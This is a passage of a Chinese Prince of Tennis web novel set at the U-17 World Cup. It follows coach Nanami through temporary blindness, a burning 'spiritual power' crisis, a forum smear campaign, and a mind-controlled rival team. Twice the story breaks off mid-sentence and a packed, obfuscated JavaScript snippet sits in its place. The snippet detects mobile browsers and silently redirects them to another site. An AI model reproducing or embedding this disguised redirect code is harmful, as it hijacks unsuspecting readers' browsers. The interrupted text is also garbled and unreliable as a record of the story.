可是抱有这样念头的人不再是二维画面,而是活生生血淋淋的人,她明明有能力帮忙又怎么可能独善其身。 她的心绪混乱不堪,甚至开始讥讽。 “手冢国光,许你为了青学牺牲,不许我牺牲吗?当初我的话你不听,现在你有什么资格管我!” 被训斥的少年浑身一僵。 整个房间顿时笼罩在一片沉重凝滞的氛围之中。一些说不清道不明的情绪像一张无形的网,悄然在空气中延伸开来,将整个空间紧紧包裹。 “......”几秒后,七海才反应过来自己说了什么,哭声霎那间止住了,她双唇微张,身体和嘴唇不住地轻颤着。 她看不到他们三个的表情,惶恐却依然从心底蔓延开来,她撑着床想往后退,可她现在坐在床边,分明退无可退。 “我......我不是......” 迹部景吾强忍着怒火和后怕一字一句道:“二阶堂,如果你是这个意思的话,从今天起本大爷会寸步不离地盯着你。” 幸村精市半跪下身为她拭去脸上的泪,声音柔和却不容置否:“迹部说得没错,七海,你的想法太危险了。我们必须看着你,好吗?” 手冢国光从方才沉默至今。 他是后怕的,心痛的,愤怒的,自责的,只是他突然产生了一种微妙的感觉,分明他从来意志都极为坚定。 7岁那年起,他所学的网球,和如今的网球,是一样的吗? 在他的心中涌起这股荒谬感的同一时刻,七海突然揪住了胸口的衬衣发出了一声闷哼。 “嗯......”心脏仿佛被一只无情的手攥住,缓缓收紧,一点一点地被挤压出鲜血和生命。钻心刺骨的痛苦丝丝缕缕地袭来,眼前本就是一片漆黑,灵魂似乎也跟着坠入了暗无天日的深渊。 她从床沿滑落,一头倒在了身前少年的怀里。 --------------------- 爱他人是容易的,然而爱自己,如其所是的自己,就如同怀抱着一块通红滚烫的铁,它烙在身上,疼痛无比。 117.第 117 章 醒来时眼前仍是一片黑暗。 空气中漂浮着淡淡的消毒水气味,盖在身上的被子是不一样的触感和重量。她似乎不在自己的房间里,如果不是听到自己胸口的心还在跳动,她几乎要以为自己回到了濒死的时候。 “有人吗......”惶恐一阵阵上涌。 不远处隐隐约约传来些动静,她下意识将失去的视线转向那一侧,“是谁?” “七海,你醒了。”那道声音由远及近,是...... “侑士?”她小心翼翼地确认。 忍足侑士在少女的床前坐下。“嗯,是我。” “我现在在哪里?发生了什么?其他人呢?”七海摸索着抓住少年的衣摆,焦急地抛出一个又一个问题。 “唉。”忍足侑士并未直接回答她的问题,她再次被抱住了,镜片下是晦暗涩然的双目,她看不到。 “侑......士?”七海感受着胸前的温度,愣愣地重复着他的名字。 他松开拥抱,一下下地轻抚着她后脑勺的长发。 “你现在在选手村的诊疗室,身体的检测结果......没问题,今天是日本对瑞士的循环赛,三船教练命令他们都去会场了。”那两个人都想留下,反而都被驳回了。 “昨天晚上,发生了什么?”她下意识咽了口口水,她总有种自己闯下大祸的感觉。 “......没事了,都没事了,这不是你该操心的事好吗,七海。”少年的嗓音低柔,像是在哄一个受惊的孩子。 昨晚,他第二次见到那三个人惊惶失措的模样。他再一次庆幸自己出生于医学世家,这才让那三个人第一时间找到了自己,他又恰好是替补身份,能留在诊疗室照看着她。 “好......我不问,那我可以走了吗?今天是日本对瑞士,医疗组在边上候场了吧?不知道瑞士队有没有派普古和费德勒那对肌肉猛男上场,他们爆衣以后的力量达到了7以上,不要硬抗......阿玛迪斯,亚久津,他......”七海絮絮叨叨着,却被忍足侑士打断。 “七海,你做得已经够多了。这些都不是你该操心的,现在最重要的是等你的眼睛复明,明白了吗?”忍足侑士的语速变快了,语调罕见地带上了一分厉色。 “侑士......对不起。”她不知道自己为什么要道歉,可她总觉得自己该道歉。 “不是你的错,不要道歉。” “七海,你应该学会自爱。” 她愣住了。 “医院里的那些病人,只有一条命,他们努力地求生。” “你拥有重来一次的机会,为什么反而不珍惜?” “侑士......” “七海,你为手冢的伤而心痛,有没有想过,他人也会为你心痛呢。” “别的话不要再说了,我希望你能想明白这件事。” “......我知道了。侑士,我们可以回去了吗。既然检测结果都没问题,我想回自己房间里。”她轻轻扯了扯少年的衣袖。 “我带你回去。”他只觉得心痛,可是此刻他却不想封闭心门了。 ...... 最终,日本队以3连败的成绩输给瑞士队,亚久津带着一身的伤被要求回到日本。七海和忍足侑士两人在房间里听着直播默然无言。 忍足侑士低头扫了一眼【日本必胜】群组里弹出的消息:“七海,平等院君带队回来了,大家要去休息室复盘,你......要去吗?” 少女的回答没有片刻犹豫:“我当然要去!没关系,我就说我眼睛不舒服涂了药膏暂时看不太清。” “好,我们走吧。” 忍足侑士牵着她的手到达休息室时,其他少年们也已到达,他拉着她在沙发上坐下,平等院凤凰在看到她的双眼的一瞬,眼底闪过一丝狠厉之色。 “公主殿下,你的眼睛怎么了!”切原赤也总是第一个蹦出来的人。 “眼睛不太舒服,涂了药膏所以暂时看不清,大概明天就好了,赤也,不用担心。”七海冲着声源处挤出一个安慰的笑容,迹部景吾和幸村精市的脸色都不怎么好看。 她直接打断了其他人即将脱口而出的关切,“大家都不用担心我,我们先干正事,平等院,你开始吧。” 平等院凤凰沉默了几秒,紧接着是一通漫长的痛斥,七海安静地靠着沙发听着。因为二连胜而得意忘形?确实有一部分这个原因,但更主要的恐怕还是实力的绝对差距。 “......一个个都给我滚回去反省!离16强淘汰赛还有两天,接下来你们将见识到的,才是世界真正的恐怖之处!为了迎接地狱,做好觉悟吧!”怒吼结束。 七海还不知道16强淘汰赛名单,她抬头望着黑暗:“乾,柳,能和我说一下淘汰赛的分组吗?” 少年们心中紧了紧,乾贞治完全不在她看向的地方......她真的只是看不清吗? 乾贞治扶了扶眼镜:“我们在第二组,第一轮对上的是一个叫阿拉梅侬玛的宗教国家,第二轮8强赛对手是法国或英国,不出意外应是法国队。” 柳莲二跟上:“第三轮4强赛将对上德国。第一组中,能够晋级四强的队伍应该是瑞士、美国、西班牙中的两支。” 七海唐突开口:“第一组最终能够晋级决胜赛的只会是西班牙。” “所以如果我们运气够好,一路走下来的对手应是阿拉梅侬玛,法国,德国,西班牙,这四支国家队。” 白石藏之介担忧道:“七海,西班牙队到底怎么了?” 他们能感受到,她每谈到这支队伍时,话语中的郑重,甚至透露出一丝畏惧,再联想到开幕式时那句充满胁迫之意的宣言...... 她想大概所有人都在等她给出个答案,沉吟片刻后,她挑选了一部分能说的内容:“藏之介,这么说吧,西班牙队的实力,深不可测。” 室内,几人神色微动,这两个人之间的关系什么时候到能够互相喊对方的名字了? “这支队伍非常注重精神力的培养,与他们对战,有意识受损的可能。另外,西班牙队有几个人行为处事随心所欲,完全不考虑后果。” 既然已经进了淘汰赛,她想她还是要说得更清楚一点,否则他们意识不到严重性。 “我去西班牙的时候,曾有一个选手想重伤我,不过被我躲开了。” 七海最后这句话落地的一瞬,四周的人无不露出震惊或愤怒的神情。 “七海,你回来那天怎么不和我们说?”丸井文太愤愤不平。 切原赤也也怒斥着:“这个西班牙队的作风也太嚣张了吧!” “那时候,我还不是他们的顾问,现在他们不会再这样对我了。” “总之,目前西班牙队的事还太遥远了,等能进四强赛再说吧,眼下该注意的是阿拉梅侬玛和法国队。” 七海有一下没一下地轻点着身下的沙发垫,“法国队我之前传过资料回来,相较之下,我们对阿拉梅侬玛一无所知,或许可以找个机会去打探一下情报。但是,如果有人想去一定要先和我或者平等院报备。” 宗教国家听起来就像是走精神力网球流派的,各个都不可轻视。 “嗡......嗡......”少女的衣兜里传来了手机震动声,所有人的目光闻讯而动。 七海起身掏出手机接起电话。 “摩西摩西,啊,莱因哈特,怎么了吗?......好,不客气......你说什么?......我知道了。” 众人看着她挂断电话,无生气的紫瞳中看不出她的情绪,但仅从她的音调和动作幅度的变化来看,似乎是发生了什么大事。 “二阶堂,怎么了。”平等院凤凰的面色从始至终都不怎么好看。 “刚才美国队的队长莱因哈特告诉我,小不点确定留在美国队了,但是......越前龙雅,他退出美国队,声称要去西班牙队了......”她像是力气被抽干了,猛地跌坐回沙发上。 “越前君?”幸村精市皱眉。 “嗯,我待会儿会问他。这件事等我搞清楚了再和大家说明。” 七海的心中卷起惊涛骇浪。越前龙雅怎么会去西班牙队?他不是希望和小不点待在一起的吗?是武士南次郎的要求,还是在她不知道的时候发生了什么? 如果他去了西班牙队,那日本队岂不是有可能在决胜赛对上他?到时候,他真的会听她的话不破开她的封印吗...... 她待会儿一定要打个电话问清楚到底怎么回事。 ...... 复盘会议结束,少年们本该三两成群地去商业中心解决晚饭。然而,他们的队伍里出现了一个没法自主行动吃饭的瞎子教练,场面就变成了如下: 【立海大阵营】 丸井文太:“七海,跟我们去吃饭吧,我发现了一家泡芙做得很好吃的西餐厅!” 幸村精市:“七海,你不在我身边我不放心。” 切原赤也:“公主殿下,跟我们走吧!” 【冰帝阵营】 迹部景吾:“二阶堂,跟本大爷走,啊恩?” 忍足侑士:“七海,一起走吧。” 【青学阵营】 大石秀一郎:“七海,和我们一起去吧,手冢不在,该让我们来照顾你。” 不二周助:“七海,我发现了一家还不错的餐厅呐,味道不比由美子姐姐做得差哦。” 【四天宝寺阵营】 白石藏之介:“七海,要是感到困扰的话也可以和我们一起吃饭。” 远山金太郎:“有趣,实在是太有趣了!” 仁王雅治:“噗哩,鸡蛋头,这时候也想着手冢呐。” 乾贞治:“二阶堂和手冢大石认识了四年,大石会想帮忙照顾也是当然的。” 柳莲二:“高中就是立海大的三年了,贞治。” “比起这个,我才发现白石君突然和七海互相喊名字了呢。”好奇的人是不二周助。 “那是因为七海帮助了我很多嘛。”白石藏之介倒是阳光大方地解释了。 “原来是这样。”不二周助笑眯眯回道。 七海听了一圈,干脆跳出这些选择另辟蹊径:“没有其他的选择吗?” 为什么瞎子也要被迫N选一啊! 三津谷:“除了初中生阵营,二阶堂选择和老大一起的概率也不低。”这些天晚上,他们的天才教练可是频繁出入老大的房间呢,似乎在密谋什么。 “☆但是,很难想象老大照顾人的样子吧。”种岛修二举起手指俏皮道。 七海想了想,还真是。 平等院凤凰给她喂饭......啊,感觉是吃了他喂的饭就会死的类型,果然还是买点什么三明治之类的速食就回房间好了。 只是,昨天晚上的比赛,他突然喊了暂停的事她还没有找他问个明白......不然还是找他? Duke温声补充了一句:“其实,老大有一个妹妹。”众人诧异脸。 “平等院......”七海试探着开口。 “嗤,真是麻烦的蠢货。”她听到了地砖上大踏步的声音,很快,手被一股大力拉起,带着她有些跌跌撞撞地往外走,那只手很大,掌心的茧子很多甚至有些粗糙。 “Duke,大曲,走了。” “你,该不会是平等院吧......”七海有些不敢相信,虽然耳边响起的确实是他的声音。 “除了老子还能是谁。”即使她看不见也大概能想象得出平等院凤凰正臭着脸。 “啊,好吧。那,我们去哪里吃饭?” ...... 她没想到平等院居然会带她还有Duke、大曲去回转寿司店。 不过这样倒是方便了不少,只要她说自己想吃什么,他们会帮她取下来,蘸好酱油放在固定位置上,她只要拿起送进嘴里就好了,至少不用进行什么喂饭的羞耻play。 让平等院给她喂饭......她会做噩梦的吧! 遗憾的是,她因为失明错过了目睹大曲龙次精彩的二刀流式取寿司法。 “平等院,昨天的比赛你是什么感觉?”饭吃得差不多了,七海回归正题,侧向少年压低了声音问道。 他回答了,只不过是另一方面:“二阶堂,你的精神力完全是一团糟。”在进行能力共鸣的那一刻,他自然也感受到了,她的识海波涛汹涌,弥散着不祥的异动。 “嗯,这个我知道。所以,你感受到第九识了吗?”她轻轻揭过。 平等院冷呵了一声:“我不需要第九识也能取胜。”他还没有废物到要让一个女人为他牺牲。 七海明白了他的言外之意,心绪立时激荡起来,音调也不自觉拔高了。 “平等院,你不要这么死脑筋行不行!博格都要走向至高的至高了,你还只在第八识,就算勉强赢他,代价呢,你没想过代价吗?” 她没想到她瞎扯的一句至高的至高会在将来一语成谶。 平等院凤凰听完这句话越发怒不可遏,将手中的筷子猛地按在桌面上,“这句话该我还给你,蠢货,你没想过代价吗!现在你就已经瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161579|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” Duke和大曲龙次呆愣地旁观着这两个人就这样旁若无人地在寿司店的一角吵了起来。 七海深吸了一口气,努力让自己的情绪平复一些。 “首先,我的瞎只是暂时的。平等院,你还有家人,有妹妹,你是属于这个世界的人,能死而复生你就偷着乐吧。” “我呢,我是属于另一个世界的人,万一我真的怎么样了......说不定我能回到我的来处。” 不知道为什么,她总隐隐约约有这样的感觉。 他沉下声:“二阶堂,你的来处是你的名字,你的来处是这里。” 她的心不知怎么地漏跳了一拍,这句话,为什么她总觉得自己曾经听到过?眼看着说不动他,她的脑筋又转了转,音色再柔缓了几分。 “平等院,那这样行吗,如果我有办法让我的精神力恢复正常,我们就继续打双打。” “呵,等你想到办法再说吧。” -------------------------- 昨夜,在那两人的死死看护下,又因失明,她没能继续双打也没能管上越前龙雅的事。 休赛第一日的黄昏,一个好消息和一个坏消息接踵而来。 窗外天色渐暗,微弱的黄昏光芒在窗玻璃上闪烁而过,在地板和墙壁上投下一片萧瑟的色泽。 七海坐在床边背对着光影,捧着手机的双手不住地轻颤着。她的视力恢复了,但是,也正是因为她的视力恢复了,她才能看到这个木下葵转发给她的帖子—— 有人偷拍下了她和各国选手接触的照片发到了U17世界杯的论坛里,她如今才看到这条已经发酵了一天帖子。 她被越前龙雅抱着的照片,她被迹部景吾抱着的照片,她和手冢国光牵手的背影,她和加缪,甚至还有她和白石藏之介坐在公共网球场的座位上,她给他展示翻花绳的照片...... 她脸上的马赛克打得极其随意,一眼就能看出是谁。 而搭配的文字是“祝贺日本队爆冷出线十六强!” 【“别怕,只是想通知你一声,循环赛结束后我们为你准备了一份礼物。”】 是他们!七海咬紧了牙关。 韩国队并没有晋级十六强,现在退赛之类的话根本威胁不到他们,更何况这个帖子并没有点名道姓,也打了码,恐怕根本无法追究,可恶! 这句话明里暗里都在暗示日本队的胜利是因为她靠......这群混蛋! 她好像拖累到他们了......早知道,就该早点同意雷特鲁的建议。 怒火之后紧随着惊惶与懊恼,太阳穴一突一突地跳痛着,激烈地攻讦着她的意识,仿佛有什么将要被击穿。 电光火石间,她的绝对主宰自动解封了。 七海这才发现,自己的精神力之海居然在燃烧。 识海漫无边际地烧成了一片,从未有过的灼烫感带起阵阵剧痛,立时从四肢百骸蔓延开来,像是无数把烙铁在身上烙下痕迹,几乎要将她的意识燃成灰烬。 好疼......难掩面上的痛苦之色,七海一时间滑下身跪坐在床边,左手死死抠着床角,剧烈地喘着气。 她不想死,可是她又该怎么活。她的精神力太强了,任何人想触碰这片火海恐怕都会引火烧身,自身难保......不,有一个人,他不畏惧自己的精神力。 七海按下了紧急联系人的快捷键,然而不知为何,电话迟迟未能接通。 可恶,她要死了吗,还有谁......对了,他。 ...... “梅达诺雷。”她的声音气若游丝。 “二阶堂,我以为你早忘了自己是西班牙队的顾问。” “房间,求你......”她勉强自己在意识消散前说出最后两个字。 “又要求我什么?”梅达诺雷不耐烦道。 “救我......” 手机翻倒滚落在地上,她即将在火湖中被烧化湮灭。 ------------------------- 同一时刻,选手村商业中心顶层的空中花园西餐厅。 弗里奥看着梅达诺雷接完似乎是他们那位顾问的电话,便面色阴沉地向外快步走去,忙跟上追问:“梅达诺雷,你去干什么?” “歌德曾说过!在错误之海沉浮,仍怀着希望求生。” 他只留下这句话。弗里奥呆愣在原地。 数分钟后,日本队的选手宿舍楼下,一道高瘦身影一闪而过。 “喂,你是谁,没有身份卡禁......” 少年只一个眼神,安保瞳孔中警惕的精光蓦然一暗,变得空洞而又麻木:“日本队选手的房间在10楼,请通行......” 空旷的走廊,一阵急促的敲门声响起,然而门内却无人应答。连续三扇门都是如此,梅达诺雷才意识到不对劲,日本队的人都不在选手宿舍? 极端的烦躁之下,他干脆开始踹门。 直到第四扇门被一脚踹开,他一眼便看到了昏倒在床边的少女。 表面看起来并无外伤,再次释放精神力覆盖,他发现了她的异样。梅达诺雷的双瞳中闪过一丝惊骇,她的精神力居然在燃烧?! 再这样下去,恐怕后果不妙,所以才打电话求他救她......梅达诺雷了然地冷哼了一声。 “二阶堂,救人可是要付出代价的。” ...... 昨天她没来,循环赛与十六强赛之间休赛两天,回想起交易时她说的是“每天”,越前龙雅还是提早到达了网球场,却一直没等来她。 手中抛橙子的动作停住了,少年掏出手机打了个电话过去,在漫长的忙音后,电话被人接起: “摩西摩西,神様,今天你也不来......” “我可不是神。”电话那头传来梅达诺雷低沉阴冷的声音,他看了眼来电显示上的名字,一声嗤笑。 “越前龙雅,对吗?南次郎和我提过你了。”梅达诺雷的音调上扬了一度,吞噬网球,这也是个有趣的家伙,而且,还是南次郎的儿子。 让他进西班牙队倒也行,只要他不和其他人打球。他倒是不畏惧他,她,大概也不畏惧他,这两个人之间倒是也有什么秘密。 他们的小顾问真是让他十分好奇啊。 “你是梅达诺雷?”越前龙雅诧异道。“二阶堂呢,为什么是你接电话。” “歌德曾说过,诚然我们想点燃生之火炬,但包围我们的是一片火海!” “?” 118.第 118 章 几小时后,七海再次醒来时,世界天翻地覆。 雷特鲁看到那条帖子果断联系了三船入道又找到了欧诺基伊哈,将她与塞弗里德还有她与阿玛迪斯的比赛视频上传到了论坛上,再次掀起了一波讨论的热潮。 只是这次,不再是对她的口诛笔伐,而是褒奖甚至于敬畏。怀疑的声音侮辱的声音仍然存在,但第一梯队的几个国家完全无人站出来反驳澄清已说明了一切。 日本队的少年们在早上发现了这条帖子后,下午偷偷瞒着她找到了未能出线即将返程的韩国队在公共网球场打了场练习赛。 结果是两组双打加上三组单打五连胜,甚至没有一盘让对方拿到过三局胜利,全是6-2,6-1,6-0的比分。 上场的所有选手都是初中生。双打二,丸井文太和木手永四郎,双打一,忍足侑士和迹部景吾,单打三,切原赤也,单打二,不二周助,单打一,幸村精市。 韩国队的队长直接被幸村精市的灭五感打到丧失斗志,精神恍惚。 数据组将这五场比赛录像后当场一并传到了论坛,那些质疑日本队实力的人也彻底噤声。 甚至有几家赞助商在看到视频后联系了三船入道,直言想与单打一和单打二的两位少年签约,三船入道是如此回绝的: “他们都是二阶堂教练的人,你们该找她,她的联系方式我倒是可以提供给你们。” 挂断电话,三船入道难得露出了心情不错的表情,向着一同坐在教练休息室的斋藤三人组感叹:“斋藤,你找了个好苗子啊。” 另有值得一提的一件事是,随着这两个帖子的爆发,墨尔本皇冠赌场的赔率发生了惊天转变。日本队的赔率从二百多直降到了三点几,紧随第一梯队四国以及美国队其后。 然而,这些事情此刻的七海毫不知情。她还在揉着眼睛,反复确认着沙发上坐着的人,居然是他。橙子少年难得没有抛着他的橙子,只是坐在沙发上,不知在沉思着什么。 “越前君......?”她的声音发哑。 “二阶堂,你醒了。” “嗯......”七海抽了抽嘴角,这句话,她听到的次数大概多到如果在树干上划痕计数能把树皮划烂吧。 “为什么会是你?梅达诺雷呢?” “梅达诺雷走了。” 他到达房间时,她已经被安置在了床上,昏迷着。 “......我知道了。越前君,你为什么会去西班牙队?”她浑身疲软无力,关节的酸痛感明显,像极了高烧之后的身体状态,七海勉强撑着身体坐了起来。 “不是很有趣吗?”越前龙雅笑容玩味。 “就因为这个理由?!”七海满脸难以置信,虽然仔细一想,似乎这确实是越前龙雅的风格。 下一秒,越前龙雅说出一句石破天惊的话,他本不该说出来的,毕竟这句话暴露出了梅达诺雷的一小部分秘密。 “梅达诺雷也不怕我的吞噬网球。” 七海面色不变:“这我倒不意外......”毕竟是他。 “啊对了,有件事,越前君我想向你道歉。”她想起来了一件她误会他的事。 少年愣了愣。 “那个,就是,上次你说是不是谁都可以......我后来才想起来你恐怕根本不关注这些社交软件上的信息,总之是我误会你了,抱歉。” 他恍然大悟。 “还有,如果你要去和西班牙队的人汇合的话,要小心。有几个人的脾性透着古怪。尤其有一个叫罗德里格的,当初他就很讨厌我这个天降顾问想用网球重伤我,我怕你也遇到类似的遭遇。” 越前龙雅神色复杂:“我知道了。” “所以,越前君,你怎么会在这里?” 越前龙雅起身,走到床前俯身盯着面色尚有几分苍白的少女,勾起唇角:“因为担心你啊,神様。” 他背着光,身躯似暗影般压来,脸上的表情不再是那副漫不经心的随意模样,即使他对她的称呼还是神様。 她还没来得及分辨他是认真的还是玩笑话,他是怎么知道自己出事的,隔着门透过来了一阵嘈杂的人声。 “选手村进贼了?!幸村,我们的门怎么都开着?” “......没有东西丢失......开着的门到七海的房门口就消失了。” “呜哇,我的房门也开着!” 紧接着是急促的敲门声伴随着呼唤声。 七海扶额,她突然意识到了大概是怎么回事,她并没有来得及告诉梅达诺雷自己住在哪个房间,他该不会直接踹门了吧? 思及此处,七海这才回想起一件重要的事,她还没有检查自己的精神力状态。 探入识海,她再次双唇微张,既震惊又茫然——她的精神力状态居然好了不少,原因是,她的识海,居然被分割成了两部分?! 一切紊乱的精神力都被压到了深处,表面风平浪静。甚至于表层的精神力,几乎可以算得上......纯净,就像是地平线将光明与黑暗分割一般,泾渭分明。 梅达诺雷,他到底做了什么?难道......!她的大脑中似有一道惊雷劈过。 她当时害怕得要死,也不知道该如何自救,只是下意识觉得那两个人或许会有办法。 她之前还偷偷给梅达诺雷起阴冷男的绰号,可现在,他似乎成了她的救命恩人......不,是他,还是他? 根本搞不清嘛!算了,这些事就像一团乱麻,尚且杂乱无章,错综复杂,之后再想办法去问清楚吧,她总不能感谢错对象了。 越前龙雅见七海坐在床上恍神着,而那边的敲门声一直未曾停下,且有越敲越响的势态,他干脆将手中的橙子几口咽下,直起身走到玄关打开了房门。 “越前君?” “你这家伙怎么会在这里,啊恩?” “公主殿下呢,让我进去!有超大的好消息!” 门口似乎乱成了一团,七海清了清嗓子,干脆让所有人都进来了。 “公主殿下,我们替你报仇了!”切原赤也一个箭步冲到了床前。 “七海,我们打了一场很帅的比赛哦!”丸井文太扮酷道。 接下来的半小时,切原赤也绘声绘色地把五连败韩国队选手,以及网上发生的事讲了一遍,其他人则适时进行补充。 七海从一开始的好奇到欣慰浅笑到目瞪口呆,表情变化堪称五彩纷呈。她又忽地想起来,自己的手机消息还没看,一点开,果然消息列表又出现了许多未读。 三船,斋藤,国光,QP,雷特鲁,塞弗里德,阿玛迪斯,加缪,弗里奥...... 还有几条短讯声称自己是某某知名运动品牌的赞助商,想考虑和周助还有精市签约,甚至还仔细提出了后续淘汰赛的签约条件,看来确实是有这个签约的心。 她这些天来忧虑的、痛恨的、害怕的这一切,就这样全部都解决了吗...... “谢谢大家......”七海放下手机时已是泪眼朦胧。 ...... 今夜时间已不早,少年们还带着点下午五连胜的兴奋,四散着去做各自的事。越前龙雅不知何时偷偷溜走了,她本来还想再和他说点事。 最后,房间里只剩下了那两个人,坐在她床的左右两侧。 “七海,你感觉怎么样?”他满面柔和。 “二阶堂,以后任何事少操心,啊恩?难道我们是摆设吗?”他神情愉悦。 少女绽放出了自世界杯开幕式以来最灿烂的笑容: “我现在感觉好得不得了!” ----------------------------- 翌日。 “什么?!桃城偷偷去侦查阿拉梅侬玛了?!”七海隔着屏幕重复了一遍忍足侑士的话,面上抓狂得不行。 怎么还是有人私自去探查啊!......不对,桃城是后援团,那次在巴士上她的警告还有在休息室她的要求,他正好都没能听到。 七海挂断电话。 淘汰赛前最后一天,初中生们都在露天的公共网球场上训练着,此刻听到她焦急的语气,纷纷停下了手上的动作。 “大家继续吧,我要赶过去看一眼!”七海随手将手机塞回衣兜里,一阵风似的跑出了球场。 仅仅一个多小时后,桃城武、忍足侑士并七海三人便回到了网球场,只是桃城武被忍足侑士搀扶着,他的五官因为痛苦扭成了一团,一直惨叫着,似乎遭遇了什么极其恐怖的事。 海堂薰惊呼:“桃城!” 真田弦一郎骇然问道:“桃城他怎么了?!”其他人也都围了上来。 七海的紫瞳中闪过一丝狠厉:“是西班牙队的塞达,他的精神力我认得出。可恶!” 半个多小时前,她小小迷路一段后,一到达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161580|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿拉梅侬玛的训练场就感受到了一股不详的气息。 一群披着白衣带着白色石膏面具的选手们垂着头站在网球场上,完全陷入了精神力紊乱状态,失去了自我意识。 他们嘴上同频呢喃着阿拉梅侬玛,音调诡异的呓语一阵阵传来,仿佛在举行某种邪恶的仪式。 那场面看得她不寒而栗,起了一身的鸡皮疙瘩,摩挲了半天也没消下去。 赛场边,桃城武跪倒在地上,面色狰狞,同样失去了自我意识,忍足侑士封闭了心门表面上无碍,她来不及处理那些像是被催眠的选手,赶紧拉着他们回到了日本队的训练场。 “西班牙队?!”少年们异口同声。 大石秀一郎目瞪口呆:“七海,那个西班牙队居然这么邪恶吗?” 迹部景吾转而看向忍足:“忍足,到底发生了什么?” 忍足侑士勉力用肩膀撑住桃城武倒下的身体,语调中带着惊疑:“我也不确定,似乎是某种精神控制。” 七海无暇解释,语速极快:“麻烦大家让一下,侑士,你把桃城放平在地上吧。”她正好可以试试她的那个思路能否成功实施。 众人依言让出了一小块空地,七海跪在桃城身侧,闭上了眼,右手贴在少年的额头上,尝试把自己的精神力拉进入对方的精神世界。 纯净的精神力蔓延到少年的精神世界,她果然感知到了,精神世界中萦绕着的诡异黑气,只是那些黑气一碰到她的精神力便仿佛被吞噬一般一触即散。 这次的精神控制手段并不算太狠,大概这些黑气过几天也会自行消散,七海松了口气,接着雀跃起来,她的思路真的可行! “恐怕是塞达精神控制了那群阿拉梅侬玛的选手。人的大脑潜力无穷,但有时也很脆弱。这就是我不让你们提前接触西班牙队的原因。” 她站起身,“侑士,你看看桃城怎么样了,拍醒他。” 桃城武在忍足侑士的轻拍下悠悠转醒,从地上慢慢爬起来,眼神清澈懵懂,“怎,怎么了?大家都围着我。” “桃城,下次不许私自行动了!”七海厉声道。 “啊......二阶堂学姐,发生了什么吗。”桃城武挠着头一脸呆样,他刚才好像做了个奇怪的梦。 前半段梦他在一个漆黑的大教堂里和一群戴着面具的白衣人一起念经,越念头越痛。后半段不知怎么地,白衣人都消失了,接着大教堂也消失了,他像是漂浮着云朵上,只觉得幸福而柔软。 “......诶?!居然发生了这样的事吗?”菊丸英二在边上一通解释,桃城武听罢目瞪口呆,他还以为自己做了个梦呢。 菊丸俏皮道:“还好有二阶堂救你喵。”虽然他们都没看明白她是怎么做到的。 桃城武的脸上浮起了可疑的红晕:“难怪我最后感觉自己像飘在云上一样,又温暖又舒服。二阶堂学姐,谢,谢谢。” 乾贞治冷不丁地开口:“桃城,你的表情,你该不会也喜欢上二阶堂了吧。”他现在在认真考虑还要不要收集喜欢二阶堂的人的数据,太多了,有点占用他的精力。 桃城武理直气壮:“二阶堂学姐这么好,我就算是喜欢又怎么了!” “有本大爷在,桃城,还轮不到你呢,啊恩?”迹部景吾轻抚着眼下的泪痣。 “公平竞争好不好!”桃城武回怼地毫不客气,顺便把手中的球拍递给了河村隆——“Burning!这就是青春啊!” “公主殿下当然是要和幸村部长在一起的!”切原赤也,幸村精市激推一枚,现如今也是公主殿下激推,以及幸海CP激推。 七海无言以对,这些人讲话是完全不考虑她在场啊。 她开口:“别再提这些有的没的了,我看时间也不早了,大家先去吃饭吧?”她再叫上高中生们好了。 【日本必胜】 [18:12]二阶堂七海:@所有人大家一起去主餐厅吃晚饭?^^ [18:13]Duke:收到 [18:13]平等院凤凰:Duke,老子才是你的老大! [18:14]入江奏多:二阶堂教练,今天好像很开心? [18:14]二阶堂七海:入江,你猜得没错,所以今天我请客! [18:14]种岛修二:现在就来~请客就不用了,财迷教练☆ 七海看着屏幕愣了愣,种岛修二怎么知道她是个财迷? 119.第 119 章 日本队一众选手浩浩荡荡地来到了主餐厅,今天人不少,除了其他几个零零散散的国家队的队员,红白制服和黑红制服的两组人马落座在主餐厅的两侧格外醒目,是德国队和瑞士队的正选们。 那么眼下的这一幕也就不奇怪了—— 手冢国光从餐桌上站起,沉默着向她那边走去。 双打比赛那天,博格站在落地窗边看到了他抱她,又牵着她的手的那一幕。 回到德国队选手楼后,博格私下找他谈了一次话。 【“国光,你现在的任务是准备比赛,别忘了这牵涉到你的签约。” “Ja.” “二阶堂教练那边,任何事有他们的教练和队员帮忙照看,你不该过多分心在她身上。” “......” “国光!”博格神色严肃了几分,“职业选手应该有职业选手的专业素养!” “如果德国夺得十连冠,她就会来德国队,孰轻孰重你还分不清吗!” “......是。”】 这两天发生了一连串的事,而他只能通过短讯发去问候。现在再在主餐厅偶遇她,他迫不及待想知道她的近况。她看起来精神状态好了很多,身边环绕着他曾经的队友、伙伴,她巧笑倩兮,与那群少年们笑闹着。 他知道她是一个很好的人,他一直以来视若珍宝,发现了她的好的人同样一直以来远不止他一个,他应当欣慰。 可是此刻,他与她,他与他们之间似乎隔了一堵透明的墙,横亘着两端,清晰而无法跨越。 那是他主动选择的结果,他早已决定了要走这条路。 手冢国光突然感到一丝心痛,垂在两边的手下意识攥紧了。 下一瞬,透明的墙被她打破,穿过。 “国光!”七海眼前一亮,挥挥手迎了上去,站定在他面前。 